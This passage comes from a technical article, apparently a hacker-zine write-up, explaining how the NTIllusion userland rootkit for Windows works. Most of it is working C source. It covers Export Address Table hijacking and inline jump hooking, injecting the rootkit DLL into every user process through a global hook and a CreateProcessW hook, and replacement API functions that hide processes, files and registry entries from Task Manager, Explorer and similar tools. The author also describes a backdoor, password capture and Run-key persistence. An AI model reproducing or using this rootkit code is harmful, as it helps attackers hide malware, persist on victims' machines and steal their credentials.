  /* Build NT headers pointer */
  pNTHeader = RVA2OFS(PIMAGE_NT_HEADERS, pDOSHeader, pDOSHeader->e_lfanew);
  
  /* Build Export Section pointer */
  pExportDir = RVA2OFS(PIMAGE_EXPORT_DIRECTORY, hMod, pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  /* Scan through ENT */
  for( i=0 ; i<pExportDir->NumberOfFunctions ; i++ )
  {
      /* Compute ExportNameTable[i]'s address */
      ENT = RVA2OFS(DWORD*, baseAddr, ((DWORD)pExportDir->AddressOfNames + (sizeof(DWORD)*i)));

          /* Perform module name check */
      if( strcmp( (char*)(baseAddr + *ENT), ApiName ) == 0 )
      {
            /* Build pointers:
              AONO: to Address Of Names Ordinal
              AOF : to Address Of Functions */

              AONO = RVA2OFS(WORD*, baseAddr, ((DWORD)
              pExportDir->AddressOfNameOrdinals + (i*sizeof(WORD))) );
              AOF = RVA2OFS(DWORD*, baseAddr, ((DWORD) pExportDir->AddressOfFunctions + (sizeof(DWORD) * *AONO)) );
            
        /* Return API RVA storage location */
        return (AOF);
      }
  }
 
 /* Not found, return failure */
 return 0;
}

The function above is the core of the following EAT hijack engine.

/*
This function calls EAT_GetPointerToApiAddress to get the storage location of the API address, and then patches it to hijack futur researchs of the real address, by the loader, GetProcAddress, or similar methods.
*/
int EAT_Hijack(HMODULE hDll, char* ApiName, void** OldApiAddr, void* newApiAddr)
{
  DWORD *p,lpflOldProtect,lpflOldProtect2;
  p = EAT_GetPointerToApiAddress(hDll, ApiName); /* Get Api's address
  storage location */
  *OldApiAddr = (void*)(*p+DWORD(hDll)); /* Save old API address */

  /* Patch function address in EAT : */
  VirtualProtect(p, sizeof(DWORD), PAGE_READWRITE, &lpflOldProtect);
  *p = ((DWORD)newApiAddr)-DWORD(hDll); /* Set new RVA value */
  VirtualProtect(p, sizeof(DWORD), lpflOldProtect, &lpflOldProtect2)

return 1;
}

The use of the engine is not obvious so a small example replacing MessageBoxA follows.

This is our replacement function for MessageBoxA:
/* Pointer to MessageBoxA function */
typedef int (WINAPI* pMessageBoxA)(HWND, LPCTSTR, LPCTSTR, UINT);
pMessageBoxA fMessageBoxA; /* Pointer used to test hijacking */
pMessageBoxA oldfMessageBoxA; /* Pointer that will be used to store the genuine address of the API */

/* MessageBoxA replacement */
int WINAPI MyMessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType)
{
  oldfMessageBoxA(NULL,lpText,"Title HIJACKED",MB_OK);
  return 0;
}

Demonstration program:
int main(int argc, char *argv[])
{
  HMODULE hDll; /* user32 module handle */
  hDll = GetModuleHandle("user32.dll"); /* Get user32 base address */
  
  /* BEFORE EAT hijack */
  fMessageBoxA = (pMessageBoxA) GetProcAddress(hDll,"MessageBoxA");
  fMessageBoxA(NULL,"MessageBoxA before hijack", "MessageBoxA not hijacked",MB_OK);
  
  /* Patch EAT now... */
  EAT_Hijack(hDll, "MessageBoxA", (VOID**)(&oldfMessageBoxA),
 ((VOID*)(&MyMessageBoxA)));

  /* AFTER EAT hijack */
  /* Update function pointer to use hijacked function (simulation) */
  fMessageBoxA = (pMessageBoxA) ((DWORD)(&MyMessageBoxA));
  fMessageBoxA(NULL,"MessageBoxA AFTER hijack","Title overwritten
   :p",MB_OK);

  oldfMessageBoxA(NULL,"MessageBoxA using saved address","MessageBoxA
(SAVED ADDRESS)",MB_OK);
  return 0;
}


Inserting an unconditional jump (jmp) - Overview:
This technique involves modifying the machine code of a given API so that it executes an unconditional jump to a replacement function. Thus any call direct or indirect to the hooked API will inevitably be redirected to the new function. This is the type of function redirection used by the Microsoft Detours Library. In theory, redirection by inserting of an unconditional jump is simple: you simply locate the entry point of the API to be hijacked an insert an unconditional jump to the new function. This technique make us lose the ability to call the original API.
However, there is a solution for calling the original API. It involves creating a buffer containing the original version of the API's modified memory zone, followed by a jump to and address located 5 bytes after the start of the zone. This jump allows to continue the execution of the original function just after the unconditional jump that performs the redirection to the replacement function.
One detail that I voluntarily left out until now: the problem of disassembling instructions. In machine code, instructions have a variable length. How can we write an unconditional five-byte jump while being sure not to damage the target code ("cutting an instruction in half")? The answer is simple: in most cases we just use a basic disassembly engine. It allows to recover as many complete instructions as required to reach the size of five bytes, i.e. the area just big enough the insert the unconditional jump. Concretely, in memory, all the operations result in:

Hijacking
  Before After Call Gate
API_target() API_target() API_CallGate()

push ebp jmp @New_API push ebp
mov ebp, esp mov ebp, esp
push ebx push ebx
push esi push esi
        
push edi push edi jump @API_target+5

We can see that the role of the redirection engine is to modify the smallest possible zone of the targeted API, so as to insert a jump without causing any damage, while maintaining the ability to call it. This is done by saving the code before it is modified to a call buffer or call gate. As explained above, the call gate arranges a call just after the unconditional jump inserted in the original API. At that point, all that remains is to declare a FARPROC pointing to that buffer, then to make a call as when resolving the address by GetProcAddress. The useful redirection engine used in the rootkit is the one created by Z0MbiE (see Zombie2).

...and getting deeper:
As explained above, the role of this hijack engine is to insert an unconditional jump at a given address to a replacement function, while leaving the possibility of calling the API as it was originally behaving.
This is achieved via the ForgeHook(DWORD pAddr, DWORD pAddrToJump, byte **Buffer) function. It takes three parameters.
 - the address where the hook should be inserted (the API entry point)
 - the memory address that the jump will point to (the replacement API)
 - the address of a pointer used to save the address of the call gate, path to the unhooked API.

Let's start by analysing the code operation:

 * Find where to insert the jump:
WHILE CollectedSpace < JUMP SIZE:
 - RETRIEVE THE INSTRUCTION SIZE AT ADDRESS pAddr
 - UPDATE THE VALUE OF CollectedSpace
 - GO TO THE NEXT INSTRUCTION: pAddr += SIZE OF THE CURRENT INSTRUCTION

 * Create the call gate
 - ALLOCATE MEMORY FOR THE CALL GATE: SIZE OF THE COLLECTION AREA + SIZE OF A JUMP
 - COPY THE INSTRUCTIONS FROM THE COLLECTION AREA TO THE CALL GATE
 - ADD TO THE CALL GATE A JUMP TO pAddr + CollectedSpace (thereby straddling the hijacking area)

 * Insert the hook in the API code:
 - CLEAR THE COLLECTED AREA WITH NOPs
 - INSERT A JUMP TO pAddrToJump (hook)

The delicate point that remains is how to create a jump directly in machine code. This is done by using the GenJmp(DWORD To, DWORD From) function which will perform the operation into two steps by inserting:
 - the opcode for an unconditional relative jump: 0xE9
 - the relative address to jump to, based on a simple formula: To From 5 (in 4 bytes)

For example, you would set a jump at address 0x98765 to the address 0x123456 by calling GenJmp as follows:
GenJmp(0x123456, 0x98765)

This will result in the modification of memory at address 0x98765 :

0x98765: |0xE9| 0x123456 - 0x98765 - 0x5|
0x98765: |jmp | relative address |

Now you have the information to understand the entire API hijacking engine. But before going deeper in the code, let's see what a GetProcAddress hook looks like with this engine.

FARPROC fGetProcAddress; /* used to call the genuine GetProcAddress*/

FARPROC WINAPI MyGetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
  /* Your code here */
  return (FARPROC) fGetProcAddress(hModule, lpProcName);
}

HookApi("kernel32.dll", "GetProcAddress", (DWORD)&MyGetProcAddress, &fGetProcAddress);


So, to set a hook, we only need a FARPROC to save the call gate address and of course a replacement function. The HookApi function is just a wrapper around ForgeHook, performing address resolution using GetProcAddress for the wanted function.

Inside ForgeHook:
/* Returns 1 if successful, 0 otherwise (error check stripped) */
int ForgeHook(DWORD pAddr, DWORD pAddrToJump, byte **Buffer)
{
  DWORD dSize=0, i=0, CollectedSpace=0, OldProtect=0;
  BYTE* pInstruction; /* instruction pointer in memory */
  DWORD CallGateSize=0; /* for malloc */

  /* Start disassembling thanks to Z0MbiE */
  pInstruction = (BYTE*)pAddr;

  /* o Loop until we get enough place to set a jump (5 bytes) */
  while(CollectedSpace < SIZEOFJUMP)
  {
        /* Get instruction length */
        GetInstLenght((DWORD*)pInstruction, &dSize);

        /* Jump to next instruction */
        pInstruction += dSize;
        
        /* Update collected space size */
        CollectedSpace += dSize;
  }
  
  /* o Forge call gate :
     allocate memory for call gate : stores saved bytes + the jump after
     hijacking zone */
  CallGateSize = (CollectedSpace+SIZEOFJUMP) * sizeof(byte);
  (*Buffer) = (byte*) malloc(CallGateSize * sizeof(byte));
  
  /* Enforce execute mode for call gate */
  VirtualProtect((*Buffer), CallGateSize, PAGE_EXECUTE_READWRITE,
  &OldProtect);
  /* clear call gate with NOPs */
  FillMemory((*Buffer), CallGateSize, ASMNOP);
  /* copy instructions */
  CopyMemory((*Buffer), (void*)pAddr, CollectedSpace);
  /* generate a jump to the original function + SIZEOFJUMP (strides over
     jump hook) */
  GenJmp( (DWORD)((void*)pAddr) + (DWORD) SIZEOFJUMP,
          (DWORD) (*Buffer) + (DWORD) CollectedSpace);

  /* o Forge hook
     give read write execute read and write rights to memory zone */
  VirtualProtect((void*)pAddr, CollectedSpace+SIZEOFJUMP,
  PAGE_EXECUTE_READWRITE, &OldProtect);

  /* clear instructions */
  FillMemory((void*)pAddr, CollectedSpace, ASMNOP);
  /* generate jump */
  GenJmp(pAddrToJump, pAddr);
  /* restore previous memory protection */
  VirtualProtect((void*)pAddr, CollectedSpace+SIZEOFJUMP, OldProtect,
  &OldProtect);

 return 1;
}

Now, the GenJmp function :

void GenJmp(DWORD To, DWORD From)
{
        InsertByte (From+0, 0xe9); /* jmp ... */
        InsertDword(From+1, To - From - 5); /* destination - src 5*/
}

which relies on the two simple functions below:
/* Insert a byte Byte at address Addr */
void InsertByte(DWORD Addr, unsigned char Byte)
{
        /* Check if the calling process owns write access
           to this range of memory */
        if(!IsBadReadPtr((void*)Addr, (UINT) sizeof(byte)))
                *((byte*) ((DWORD*)Addr)) = Byte;
}
/* Insert a dword dWord at address Addr */
void InsertDword(DWORD Addr, DWORD dWord)
{
        /* Check if the calling process owns write access
           to this range of memory */
        if(!IsBadReadPtr((void*)Addr, (UINT) sizeof(DWORD)))
                *((DWORD*)Addr) = dWord;
}


That's all folks :] Now we're going to consider how to build a win32 rootkit using these techniques.

User land take over - User land vs Kernel land rootkits:
Most of the time, to achieve their aim kernel land rootkits simply replace the native API with some of their own by overwriting entries in the Service Descriptor Table (SDT). Against a normal windows system, they don't have to worry about persistence as once the hook is set, it will hijack all subsequent calls for all processes. This isn't the case for win32 ring 3 rootkits, acting at user level. In fact, the hook isn't global as for kernel ones, and the rootkit must run its code inside each process able to reveal its presence.
Some decide to hook all processes running on the machine including those of the SYSTEM groups. It requires advanced injection techniques, hooking methods and to target API at very low level.
Let me explain. Consider we want some directories not to be noticed when browsing the hard drive using explorer. A quick look at explorer.exe's Import Table reveals that it is using FindFirstFileA/W and FindNextFileA/W So we may hook these functions. At first it seems tedious to hook all these functions rather than going a level under. Yeah, these functions rely on the native API ntdll.ZwQueryDirectoryFile, it would be easier to hook this one instead. This is true for a given version of windows. But this isn't ideal for compatibility. The more low level the functions are, the more they're subject to change. Added to that, it is sometimes undocumented. So on the one hand, there's hijacking at low level, more accurate but somewhat hazardous, and on the other hand, hijacking at high level, less accurate, but from far simpler to set up.

NTillusion hijacks API at high level since I never designed it to reside into system processes. Each choice has a bright side and a seamy side.
The following points describe the restrictions I wanted the rootkit to fit and the constraints windows imposes to processes.

Restrictions:
The rootkit is made to be able to perform its stealth for the current user on the local machine. This is especially designed for cases where administrator level is unreachable for some reason. This shows that getting root is sometimes not necessary to be lurking. It represents a true threat in this case, since windows users have the bad habit to set their maximum privilege on their account instead of triggering it using run-as to become administrator only when needed. So, if the user is not currently administrator, he probably isn't at all, so a user land rootkit will perfectly do the job. Otherwise, it's time to go kernel mode.
Thus, the rootkit is designed to only require privileges of the current user to become unseen to its eyes, whether this is an administrator or not. Then it starts waiting for passwords collected by users using the run-as method, allowing privilege escalation. It may also spy web traffic to dynamically grab pop3/ftp passwords on the fly. This is possible but a little bit too vicious...

and constraints:
As you should now know, windows maintains a native inter-process protection so a process won't access another if this one doesn't belong to its group or does not present the administrator nor debug privilege. So the rootkit will be restrained to affect processes of the current user.
Contrariwise, if it got administration privilege, it may add itself to the HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run key and hide its presence, being then active for all users on the machine.
Due to the rootkit architecture, privileged processes will be able to see the system as it really is. So remote administration may reveal the rootkit, as much as FTP or HTTP servers running as services. The solution of this problem is to affect also system processes but the task is somewhat desperate and too considerable to just play the game of cat and mouse.

Setting a global hook to take over userland:
To be efficient, the rootkit must run under all visible applications that may reveal unwanted presence. Performing an injection try for each running process when the rootkit loads is not a good idea since it won't affect processes that would be run later. A perfect way to achieve this is to set a system wide hook, using SetWindowsHookEx for WH_CBT events. Therefore, the rootkit's dll will be injected into all running graphical processes, as soon, as they appear on screen. Unfortunately, the WH_CBT concerns only processes using user32.dll, therefore it won't affect some console programs. This is the case of windows cmd, netstat, and so on. Thereby, the rootkit must also affect processes so that it will be notified and injected when a process creation is about to be done. This is achieved by hooking the CreateProcessW function into all injected processes. This way, the rootkit will be running inside any newly created process. The CreateProcessW replacement and the system hook are complementary methods.
This combination perfectly covers all situations : the execution of a graphical or console process from explorer, the taskmanager or any other application. It also has the advantage to inject the rootkit into the taskmanager when the user triggers Ctrl+Alt+Del. In this case, the taskmanager is created by winlogon which isn't hijacked by the rootkit.
But the system hook is injected into as soon as it is created, since it is a graphical process. To prevent a process from being injected twice, the rootkit modifies pDosHeader->e_csum to be equal to NTI_SIGNATURE. When the Dll is loaded it first checks the presence of this signature and exits properly if needed. This is only a safety since a check is performed in DllMain to be sure that the reason DllMain is called matches DLL_PROCESS_ATTACH. This event only triggers when the DLL is first mapped inside the memory space of the application, while subsequent calls to LoadLibrary will only increase load counter for this module and be marked as DLL_THREAD_ATTACH.

The following code is the CreateProcessW replacement of the NTIllusion rootkit. It contains a backdoor by design: if the application name or its command line contains RTK_FILE_CHAR, the process is not hooked, thus allowing some programs not to be tricked by the rootkit. This is useful to launch hidden processes from windows shell that performs a search before delegating the creation of the process to CreateProcessW.

BOOL WINAPI MyCreateProcessW(LPCTSTR lpApplicationName,
LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles,
DWORD dwCreationFlags, LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation)
{
        int bResult, bInject=1;
        char msg[1024], cmdline[256], appname[256];
        

/* Resolve CreateProcessW function address if it hasn't been filled
by IAT hijack. This happens when the function isn't imported at IAT
level but resolved at runtime using GetProcAddresss. */

        if(!fCreateProcessW)
        {
        fCreateProcessW = (FARPROC)
                fGetProcAddress(GetModuleHandle("kernel32.dll"),
                                "CreateProcessW");
                if(!fCreateProcessW) return 0;
        }

        /* Clear parameters */
        my_memset(msg, 0, 1024);
        my_memset(cmdline, 0, 256);
        my_memset(appname, 0, 256);

        /* Convert application name and command line from unicode : */
        WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
          lpApplicationName, -1, appname, 255,NULL, NULL);
        WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
          lpCommandLine, -1, cmdline, 255,NULL, NULL);

        /* Call original function first, in suspended mode */
        bResult = (int) fCreateProcessW((const unsigned short *)
                        lpApplicationName, (unsigned short *)lpCommandLine, lpProcessAttributes,
                        lpThreadAttributes, bInheritHandles, CREATE_SUSPENDED
                        /*dwCreationFlags*/, lpEnvironment,
                    (const unsigned short*)lpCurrentDirectory,
                    (struct _STARTUPINFOW *)lpStartupInfo,
                        lpProcessInformation);
        
        /* inject the created process if its name & command line don't contain RTK_FILE_CHAR */
        if(bResult)
        {
                if((lpCommandLine && strstr((char*)cmdline,(char*)RTK_FILE_CHAR)) || (lpApplicationName &&strstr((char*)appname,(char*)RTK_FILE_CHAR))
          )
        {
                        OutputString("/n[i] CreateProcessW: Giving true sight to
                        process '%s'.../n", (char*)appname);
                        WakeUpProcess(lpProcessInformation->dwProcessId);
                        bInject = 0;
                }
                if(bInject)
                    InjectDll(lpProcessInformation->hProcess,
                              (char*)kNTIDllPath);

                CloseHandle(lpProcessInformation->hProcess);
                CloseHandle(lpProcessInformation->hThread);
                
        }
        return bResult;
}


Note that the child process is created in suspended mode, then injected by the Dll using CreateRemoteThread. The DLL hook function next wakes the current process up by resuming all its threads. This assures that the process has not executed a single line of its own code during the hijack time.

Local application take over:
Being injected into all processes in the system is the first step to take the ownership of user land. When being able to act anywhere, it must keep its control and prevent any newly loaded module to escape the function hooking that has been set in order to hide unwanted things. So it is strongly recommended to filter calls to LoadLibraryA/W/Ex in order to hook modules as soon as they are loaded into memory. The following function demonstrates how to replace LoadLibraryA in order to prevent hooking escape.

/* LoadLibrary : prevent a process from escaping hijack by loading a new dll and calling one of its functions */
HINSTANCE WINAPI MyLoadLibrary( LPCTSTR lpLibFileName )
{
        HINSTANCE hInst = NULL; /* DLL handle (by LoadLibrary)*/
        HMODULE hMod = NULL; /* DLL handle (by GetModuleHandle) */
        char *lDll = NULL; /* dll path in lower case */
        
        /* get module handle */
        hMod = GetModuleHandle(lpLibFileName);

        /* Load module */
        hInst = (HINSTANCE) fLoadLibrary(lpLibFileName);
        

        /* Everything went ok? */
        if(hInst)
        {
                
                /* If the DLL was already loaded, don't set hooks a second time */
                if(hMod==NULL)
                {
                        /* Duplicate Dll path to perform lower case comparison*/
                        lDll = _strdup( (char*)lpLibFileName );
                        if(!lDll)
                                goto end;
                        /* Convert it to lower case */
                        _strlwr(lDll);
                        
                        /* Call hook function */
                        SetUpHooks((int)NTI_ON_NEW_DLL, (char*)lDll);
                        
                        free(lDll);
                }
        }

end:
  return hInst;
}

As the hijacking method used is entry point rewriting, we must check that the DLL has not been yet loaded before performing the hooking. Otherwise, this may trigger an infinite loop when calling the original function. The job is partially done by SetUpHooks that will perform the hooking on already loaded module only at program startup.

About GetProcAddress:
At first NTillusion rootkit was using an IAT hijacking method in order to replace file, process, registry and network APIs to perform its stealth.
Under winXP, all worked perfectly. But when I tested it under win2000 I noticed a unusual behaviour in explorer's IAT. In fact, the loader doesn't fill the IAT correctly for a few functions such as CreateProcessW, so the address written doesn't always correspond to the API entry point ExplorerIAT. Scanning the IAT looking for API name instead of it's address does not solve the problem. It seems that explorer is performing something strange... So I moved from an IAT hijacking engine needing to hook GetProcAddress in order to prevent hook escape, to the unconditional jump insertion that does not need to filter calls to this API. Anyway, you can try to hijack GetProcAddress and send the details of each call to debug output. The amount of GetProcAddress calls performed by explorer is amazing and its study, instructive.

Replacement functions:
Here comes the most pleasant part of the NTIllusion rootkit, i.e. the core of the replacement functions.

Process hiding:
The main target when speaking about process hiding is the taskmanager.
Studying its Import Table reveals that it performs direct calls to ntdll.NtQuerySystemInformation, so this time, hijacking API at higher level is useless and the situation leaves no choice. The role of the replacement function is to hide the presence of each process whose image name begins with RTK_PROCESS_CHAR string. Retrieving the processes list is done through a call to the NtQuerySystemInformation API.

NTSTATUS NtQuerySystemInformation(
  SYSTEM_INFORMATION_CLASS SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength
);


The NtQuerySystemInformation function retrieves various kinds of system information. When specifying SystemInformationClass to be equal to SystemProcessInformation, the API returns an array of SYSTEM_PROCESS_INFORMATION structures, one for each process running in the system. These structures contain information about the resource usage of each process, including the number of handles used by the process, the peak page-file usage, and the number of memory pages that the process has allocated, as described in the MSDN. The function returns an array of SYSTEM_PROCESS_INFORMATION structures though the SystemInformation parameter.

Each structure has the following layout:
typedef struct _SYSTEM_PROCESS_INFORMATION
{
    DWORD NextEntryDelta;
    DWORD dThreadCount;
    DWORD dReserved01;
    DWORD dReserved02;
    DWORD dReserved03;
    DWORD dReserved04;
    DWORD dReserved05;
    DWORD dReserved06;
    FILETIME ftCreateTime; /* relative to 01-01-1601 */
    FILETIME ftUserTime; /* 100 nsec units */
    FILETIME ftKernelTime; /* 100 nsec units */
    UNICODE_STRING ProcessName;
    DWORD BasePriority;
    DWORD dUniqueProcessId;
    DWORD dParentProcessID;
    DWORD dHandleCount;
    DWORD dReserved07;
    DWORD dReserved08;
    DWORD VmCounters;
    DWORD dCommitCharge;
    SYSTEM_THREAD_INFORMATION ThreadInfos[1];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

Hiding a process is possible by playing with the NextEntryDelta member of the structure, which represents an offset to the next SYSTEM_PROCESS_INFORMATION entry. The end of the list is marked by a NextEntryDelta equal to zero.

/* MyNtQuerySystemInformation : install a hook at system query
level to prevent _nti* processes from being shown.
Thanks to R-e-d for this function released in rkNT rootkit.
(error checks stripped)
*/
DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass,
PVOID SystemInformation, ULONG SystemInformationLength,
                                                                PULONG ReturnLength)
{
        PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec;
        char *pname = NULL;
        DWORD rc;

        /* 1st of all, get the return value of the function */
        rc = fNtQuerySystemInformation(SystemInformationClass,
              SystemInformation, SystemInformationLength, ReturnLength);
        
        /* if sucessful, perform sorting */
        if (rc == STATUS_SUCCESS)
        {
                /* system info */
                switch (SystemInformationClass)
                {
                        /* process list */
                case SystemProcessInformation:
                        pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION)
                                                   SystemInformation;
                        
                        while (1)
                        {
                                /* alloc memory to save process name in AINSI
                                   8bits string charset */
                                pname = (char *) GlobalAlloc(GMEM_ZEROINIT,
                                    pSpiCurrent->ProcessName.Length + 2);
                                                                
                                /* Convert unicode string to ainsi */
                                WideCharToMultiByte(CP_ACP, 0,
                                    pSpiCurrent->ProcessName.Buffer,
                                    pSpiCurrent->ProcessName.Length + 1,
                                    pname, pSpiCurrent->ProcessName.Length + 1,
                                    NULL, NULL);

                                    /* if "hidden" process*/
                                if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR,
                                    strlen(RTK_PROCESS_CHAR)))
                                {
                                        /* First process */
                                        if (pSpiCurrent->NextEntryDelta == 0)
                                        {
                                            pSpiPrec->NextEntryDelta = 0;
                                                break;
                                        }
                                        else
                                        {
                                                pSpiPrec->NextEntryDelta +=
                                                      pSpiCurrent->NextEntryDelta;
                                                
                                                pSpiCurrent =
                                                (PSYSTEM_PROCESS_INFORMATION) ((PCHAR)
                                                pSpiCurrent +
                                                pSpiCurrent->NextEntryDelta);
                                        }
                                }
                                else
                                {
                                        if (pSpiCurrent->NextEntryDelta == 0) break;
                                        pSpiPrec = pSpiCurrent;
                                        
                                        /* Walk the list */
                                        pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION)
                                        ((PCHAR) pSpiCurrent +
                                        pSpiCurrent->NextEntryDelta);
                                }
                                
                                GlobalFree(pname);
                        } /* /while */
                        break;
                } /* /switch */
        } /* /if */
        
        return (rc);
}


Previously it was mentioned that targeting NtQuerySystemInformation was the only solution. This is not entirely true. It's contrariwise sure that hooking Process32First/Next won't help but it's still possible to do otherwise.
At first we chose to hook SendMessage, therefore hiding at ListBox control level. This is a very specific approach to the problem and is undocumented. Spying the behavior of the taskmanager on process creation with Spy++ shows that it uses the row telling about system idling process and changes its name to show the newly created process by sending a LVM_SETITEMTEXT message. So, first it overwrites the content of this ListBox item's line, and then add a new "Idle process" line by sending a LVM_INSERTITEMW message. Filtering these two types of message let us control what the taskmanager shows. Not very professional but efficient.

The following function replaces SendMessageW inside the task manager to prevent the program to send messages related to hidden process.

/* MySendMessageW : install a hook at display level (that is to say at
ListBox level) to prevent _* processes from being shown */
LRESULT WINAPI MySendMessageW(
HWND hWnd, /* handle of destination window */
UINT Msg, /* message to send */
WPARAM wParam, /* first message parameter */
LPARAM lParam) /* second message parameter */
{
        LPLVITEM pit; /* simple pointer to a LVITEM structure */
        
        /* Filter events */
        if( Msg==LVM_SETITEM || Msg==LVM_INSERTITEMW ||
        Msg==LVM_SETITEMTEXTW )
        {
                /* If process name starts by '_', hide it*/
                if( ((char)(pit->pszText))=='_' )
                {
                        hWnd=Msg=wParam=lParam=NULL;
                        return 0;
                }
        }

        /* in the other case, just call the genuine function */
        return fSendMessageW(hWnd,Msg,wParam,lParam);
}


This very high level hook does the job but it will only work for taskmgr.exe.

File hiding:
Another frequently asked question is how to hide files. As explained above, I choose to hook FindFirstFileA/W and FindNextFileA/W. It is from far sufficient to defeat explorer view, the dir command, and all dialog boxes provided by the Common Controls.

According the [MSDN] the FindFirstFile function searches a directory for a file or subdirectory whose name matches the specified name.

HANDLE FindFirstFile(
  LPCTSTR lpFileName,
  LPWIN32_FIND_DATA lpFindFileData
);

The function takes two parameters. A null-terminated string that specifies a valid directory or path and file name, which can contain wildcard characters (* and ?): lpFileName, and a pointer to a WIN32_FIND_DATA structure that receives information about the found file or subdirectory.
If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose.
If the function fails, the return value is INVALID_HANDLE_VALUE.

The FindFirstFile function is called to begin a file search. If it succeed, the search may be pursued by calling FindNextFile.

BOOL FindNextFile(
  HANDLE hFindFile,
  LPWIN32_FIND_DATA lpFindFileData
);


The hFindFile parameter is a handle returned by a previous call to
FindFirstFile or FindFirstFileEx function. Like before, the lpFindFileData points to a the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to FindNextFile to see the found file or directory. The function succeeds if it returns nonzero.

Let's have a look at the WIN32_FIND_DATA structure. The important member is cFileName which is a null-terminated string that specifies the name of the file.

typedef struct _WIN32_FIND_DATA {
  DWORD dwFileAttributes;
  FILETIME ftCreationTime;
  FILETIME ftLastAccessTime;
  FILETIME ftLastWriteTime;
  DWORD nFileSizeHigh;
  DWORD nFileSizeLow;
  DWORD dwReserved0;
  DWORD dwReserved1;
  TCHAR cFileName[MAX_PATH]; /* full file name */
  TCHAR cAlternateFileName[14]; /* file name in the classic 8.3
                                     (filename.ext) file name format. */
} WIN32_FIND_DATA,
*PWIN32_FIND_DATA;


To perform a directory listing, an application calls FindFirstFile, and then calls FindNextFile using the returned handle, until it returns zero.
The AINSI and WIDE functions (A/W) of FindFirst/NextFile operate similarly except that the Wide version performs calls to WideCharToMultiByte, in order to convert UNICODE strings to ANSI.

/* MyFindFirstFileA : hides protected files from file listing
   (error checks stripped)*/
HANDLE WINAPI MyFindFirstFileA(
LPCTSTR lpFileName,
LPWIN32_FIND_DATA lpFindFileData)
{
        HANDLE hret= (HANDLE)1000; /* return handle */
        int go_on=1; /* loop flag */

        /* Process request */
        hret = (HANDLE) fFindFirstFileA(lpFileName, lpFindFileData);

        /* Then filter: while we get a 'hidden file', we loop */
        while( go_on &&
          !_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
          strlen(RTK_FILE_CHAR)))
        {
                go_on = fFindNextFileA(hret, lpFindFileData);
        }

        /* Oops, no more files? */
        if(!go_on)
                return INVALID_HANDLE_VALUE;

return hret;
}


/* MyFindNextFileA : hides protected files from being listed */
BOOL WINAPI MyFindNextFileA(
  HANDLE hFindFile,
  LPWIN32_FIND_DATA lpFindFileData
)
{
        BOOL ret; /* return value */

        /* While we get a file that should not be shown, we get another : */
        do
{
                ret = fFindNextFileA(hFindFile, lpFindFileData);
        } while( !_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
  strlen(RTK_FILE_CHAR)) && ret!=0);

/* We're out of the loop so we may check if we broke because there is no more files. If it's the case, we may clear the LPWIN32_FIND_DATA structure as this :
my_memset(lpFindFileData, 0, sizeof(LPWIN32_FIND_DATA));
        */
        return ret;
}


Registry:
Preventing its launch source from being detected is also an unavoidable feature for this kind of rootkit. To allow registry stealth, the rootkit replaces the RegEnumValueW API inside the memory space of all processes.
The working mode of the new function is simple : if it detects itself listing the content of a key that must be hidden, it returns 1 which
traduces an error. The only problem with this implementation is that the calling process will stop asking for the listing of the content of the registry key. Therefore, it will also hide subsequent keys. As the keys are most of the time retrieved alphabetically, the RTK_REG_CHAR traducing that the key is hidden must be starting by a character of high ASCII code so that it will be retrieved last and won't bother.

/* MyRegEnumValue : hide registry keys when a list is requested */
LONG WINAPI MyRegEnumValue(
HKEY hKey,
DWORD dwIndex,
LPWSTR lpValueName,
LPDWORD lpcValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData)
{
        LONG lRet; /* return value */
        char buf[256];
        /* Call genuine API, then process to hiding if needed */
        lRet = fRegEnumValueW(hKey,dwIndex,lpValueName,lpcValueName,
    lpReserved, lpType, lpData,lpcbData);

         /* Convert string from Unicode */
        WideCharToMultiByte(CP_ACP, 0,lpValueName, -1, buf, 255,NULL, NULL);
        
        /* If the key must be hidden... */
        if(!_strnicmp((char*)buf, RTK_REG_CHAR, strlen(RTK_REG_CHAR))) {
                lRet=1; /* then return 1 (error) */
        }

    return lRet;
}


Netstat like tools:
Network statistics tools are from far the most vicious. There's a lot of ways to request the list of TCP/UDP used ports and the behavior of the same application (netstat, [TCPVIEW], [FPORT]...) varies from a version of windows to another. This is especially true between NT/2000 and XP where the network statistics start to include the process identifier of the owner of each TCP connection. Whatever the way a process obtains these statistics, some dialog has to be established with the TCP/UDP driver sitting at kernel level (/Device/Tcp and /Device/Udp). This consists in calls to DeviceIoControl to establish a request and receive the answer of the driver. Hooking at this level is possible but from far risky and nightmarish, since the structures and control codes used are undocumented and change between Windows versions. So the hooking has to be performed at different level, depending on the quality of the requested information and OS version.

As the rootkit must run under 2000 and XP, we have to consider different cases.

The case of windows 2000:
Under windows 2000 the extended API AllocateAndGetTcpExTableFromStack that associates a process identifier with a TCP stream does not exist yet, so information provided by the API doesn't include this reference.

Hooking GetTcpTable:
The TCP statistics may officially be obtained by a call to GetTcpTable, which retrieves the TCP connection table (MIB_TCPTABLE).

DWORD GetTcpTable(
  PMIB_TCPTABLE pTcpTable,
  PDWORD pdwSize,
  BOOL border
);


